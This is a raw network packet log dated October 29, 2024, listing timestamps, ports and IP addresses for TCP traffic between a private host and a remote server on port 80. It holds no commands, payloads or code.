Oct 29, 2024 02:46:44.914473057 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914496899 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914520025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914531946 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914545059 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914566040 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914601088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914611101 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914634943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914660931 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914668083 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914669991 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914701939 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914745092 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914746046 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914778948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914805889 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914812088 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914843082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914855957 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914877892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914911985 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914917946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914957047 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.914962053 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.914989948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915024042 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915034056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.915060043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915092945 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915108919 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.915126085 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915158033 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915182114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.915186882 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915200949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.915220022 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915252924 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915258884 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.915287018 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.915328979 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.957242012 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.957293034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.957331896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:44.957365036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.957405090 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:44.969373941 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.979504108 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:44.979548931 CET	443	49943	20.189.173.2	192.168.2.5
Oct 29, 2024 02:46:44.979600906 CET	49943	443	192.168.2.5	20.189.173.2
Oct 29, 2024 02:46:45.027431011 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027487993 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027549982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027553082 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027606010 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027616024 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027638912 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027674913 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027688026 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027708054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027745008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027751923 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027777910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027812958 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027829885 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027837038 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027874947 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027877092 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027906895 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.027910948 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027949095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.027960062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028009892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028043985 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028103113 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028165102 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028171062 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028181076 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028212070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028244972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028268099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028268099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028268099 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028276920 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028312922 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028315067 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028325081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028342962 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028382063 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028394938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028434992 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028439045 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028440952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028469086 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028498888 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028534889 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028580904 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028584957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028625965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028637886 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028671026 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028686047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028712988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028722048 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028752089 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028764963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028800011 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028805017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028840065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028886080 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028889894 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.028934956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.028950930 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029053926 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029062986 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029119015 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029170036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029170990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029227018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029232979 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029262066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029304981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029311895 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029356956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029365063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029422998 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029438019 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029465914 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029509068 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029511929 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029556990 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029561043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029606104 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029613972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029664040 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029666901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029716969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029750109 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029767036 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029772997 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029812098 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029835939 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029844999 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029858112 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029901028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.029942036 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.029951096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030002117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030030966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030035973 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030067921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030081034 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030088902 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030133963 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030137062 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030189037 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030222893 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030232906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030275106 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030308008 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030313015 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030334949 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030340910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030359030 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030369043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030383110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030422926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030456066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030476093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030505896 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030515909 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030544043 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030571938 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030600071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030612946 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030622005 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030675888 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030725956 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030729055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030761957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030792952 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030811071 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030827045 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030839920 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030859947 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030877113 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030894995 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030909061 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030926943 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030936003 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030963898 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.030970097 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.030992031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031003952 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031025887 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031033039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031059980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031091928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031110048 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031126976 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031138897 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031161070 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031169891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031194925 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031203032 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031228065 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031238079 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031260967 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031267881 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031290054 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031301022 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031335115 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031343937 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031378031 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031387091 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031410933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031426907 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031457901 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031476021 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031491041 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031495094 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031524897 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031555891 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031568050 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031591892 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031601906 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031640053 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031647921 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031653881 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031678915 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031685114 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031692982 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031719923 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031730890 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031749964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031759977 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031784058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031799078 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031821966 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031831980 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031845093 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031863928 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031872988 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031897068 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031908035 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031925917 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.031941891 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.031961918 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032001972 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032006025 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032011032 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032041073 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032046080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032066107 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032078028 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032085896 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032111883 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032119989 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032145977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032160044 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032181978 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032213926 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032227039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032247066 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032273054 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032275915 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032293081 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032309055 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032341957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032351971 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032375097 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032382965 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032408953 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032444954 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032454967 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032458067 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032490969 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032496929 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032520056 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032525063 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032543898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032557964 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032591105 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032592058 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.032609940 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.032639027 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.074003935 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.074024916 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.074052095 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.074069023 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.074081898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.074081898 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.074085951 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.074104071 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.074120998 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.074151039 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144331932 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144402981 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144411087 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144448996 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144455910 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144490957 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144498110 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144536018 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144542933 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144573927 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144613981 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144618034 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144651890 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144660950 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144680977 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144714117 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144721985 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144754887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144762039 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144792080 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144803047 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144833088 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144853115 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144886017 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144900084 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144920111 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144929886 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144953966 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.144965887 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.144984007 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.145015001 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.145028114 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.145051003 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.145085096 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.145093918 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.145129919 CET	49838	80	192.168.2.5	185.215.113.206
Oct 29, 2024 02:46:45.145136118 CET	80	49838	185.215.113.206	192.168.2.5
Oct 29, 2024 02:46:45.145169020 CET	80	49838	185.215.113.206	192.168.2.5
